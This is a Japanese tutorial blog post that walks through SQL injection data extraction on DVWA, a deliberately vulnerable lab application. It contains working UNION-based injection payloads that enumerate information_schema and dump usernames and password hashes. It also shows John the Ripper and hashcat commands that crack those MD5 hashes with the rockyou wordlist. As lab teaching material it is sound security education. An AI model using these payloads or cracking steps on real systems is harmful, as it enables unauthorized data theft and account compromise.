DVWAでSQLインジェクションによるData leak
SQLインジェクションを調べると、ほとんどログインバイパスの話(' OR 1=1 --とか)ばかりだが任意データの引き出しの話もありますよ。
SQLの使い方を知らない場合
まずは、SQLZOOとかでデータの引き出し方だけでも学んでおくと、ここからの話が頭に入りやすい。
一応SQLでのログインバイパス
SQL Injection - hacksplainingで視覚的に、実際に体験しながら学べる。
確認環境
DVWAの[SQL Injection]のページで試す。
docker等のコンテナやOWASP Broken Web Applications Project download | SourceForge.netで配布されているovaで環境を用意するのが簡単である。
docker run --rm -d -p 18080:80 vulnerables/web-dvwa docker run -d -p 18080:80 --name dvwa vulnerables/web-dvwa
dvwaのログインはadmin:admin,admin:passwordのどちらか。
Data leak by SQL Injection
dvwaのSQL Injectionページで行っていく。
事前調査
このページは数値のUser IDを入力してSubmitを押すと、User IDに応じたFirst nameとSurnameが表示される。 とりあえず、シングルクォーテーションとかを入力してみると
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''''' at line 1
エラーからMySQL(MariaDB)だと分かる。SQLサーバの種類によって確認すべきものであったりSQLの文法が変わるので、サーバの種類の確認が必要。
今回の手順
- 引き出されてるcolumnの数の特定
- 対象のtableやcolumnの特定
- Data leak
Execute
1. 引き出されてるcolumnの数の特定
まずは、次の入力でSQLの抽出column数の確認を行う。
' ORDER BY N #
Nは数値である。
SQL | ORDER BY に数字を書くと... - Qiita
このページにあるようにN番目のcolumnで並び替えを利用することで、存在しないcolumnを指定した場合にエラーが発生、エラーが発生する直前の数値が本来の抽出column数である。
' ORDER BY 3 #
Nが3のときにエラーが発生したために、2つのcolumnが引き出されていることが特定できた。
2. 対象のtableやcolumnの特定
MySQLにはinformation_schema
というSQLサーバ内の情報を保持しているtableがある。これを利用することで任意のtable,columnを捜索する。
MySQL :: MySQL 5.6 リファレンスマニュアル :: 21.4 INFORMATION_SCHEMA COLUMNS テーブル
今回はinformation_schema.columns
tableを利用する。今回のケースでは、まずはtableのリストを表示する。
' UNION SELECT table_name,1 FROM information_schema.columns #
利用したcolomn nameはリンク先の情報を参照している。
このように多くのデータを引き出す場合には表示数が限られている場合もあり、そのような場合には少しづつデータをチェックするような手法を取っていく必要がある。
User IDの検索にはusers tableが利用されていそうであり、今回はここに他の情報がないか確認していきたい。
次に、users tableのcolumnのリストを取得する。
' UNION SELECT table_name, column_name FROM information_schema.columns WHERE table_name = 'users' #
ここまでで、このUser IDの検索ページで利用されているクエリの形が推測できる。
SELECT first_name,last_name from users WHERE user_id='User IDの入力'
これがこのページで利用されていると思われる。
usersのtableにはpasswordが含まれているようなので、これを取り出すことができてしまう。
3. Data leak
' UNION SELECT user,password FROM users #
出力フォームは変えられないが、このようにuser名とpasswordをセットで取り出すことができてしまった。これがSQLインジェクションによるData leakである。
余談
バージョンやデータベースの確認
クエリのカラム数が分かった後であれば、バージョンの確認
' union select null,version() #
データベース名の確認
' union select null,database() #
ハッシュクラック
今回取り出せたpasswordはハッシュであり、確認したところmd5だったのでjohn the ripperとhachcatで解読した。辞書ファイルはrockyou.txt
john the ripper
$ cat pass.txt cat pass.txt admin:5f4dcc3b5aa765d61d8327deb882cf99 gordonb:e99a18c428cb38d5f260853678922e03 1337:8d3533d75ae2c3966d7e0d4fcc69216b pablo:0d107d09f5bbe40cade3de5c71e9e9b7 smithy:5f4dcc3b5aa765d61d8327deb882cf99 $ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt pass.txt ~~ password (admin) abc123 (gordonb) letmein (pablo) charley (1337) ~~
adminとsmithyは一緒なので表示されない。
hashcat
$ cat pass2.txt 5f4dcc3b5aa765d61d8327deb882cf99 e99a18c428cb38d5f260853678922e03 8d3533d75ae2c3966d7e0d4fcc69216b 0d107d09f5bbe40cade3de5c71e9e9b7 5f4dcc3b5aa765d61d8327deb882cf99 $ hashcat -a0 -m0 --force pass.txt /usr/share/wordlists/rockyou.txt ~~ 5f4dcc3b5aa765d61d8327deb882cf99:password e99a18c428cb38d5f260853678922e03:abc123 0d107d09f5bbe40cade3de5c71e9e9b7:letmein 8d3533d75ae2c3966d7e0d4fcc69216b:charley ~~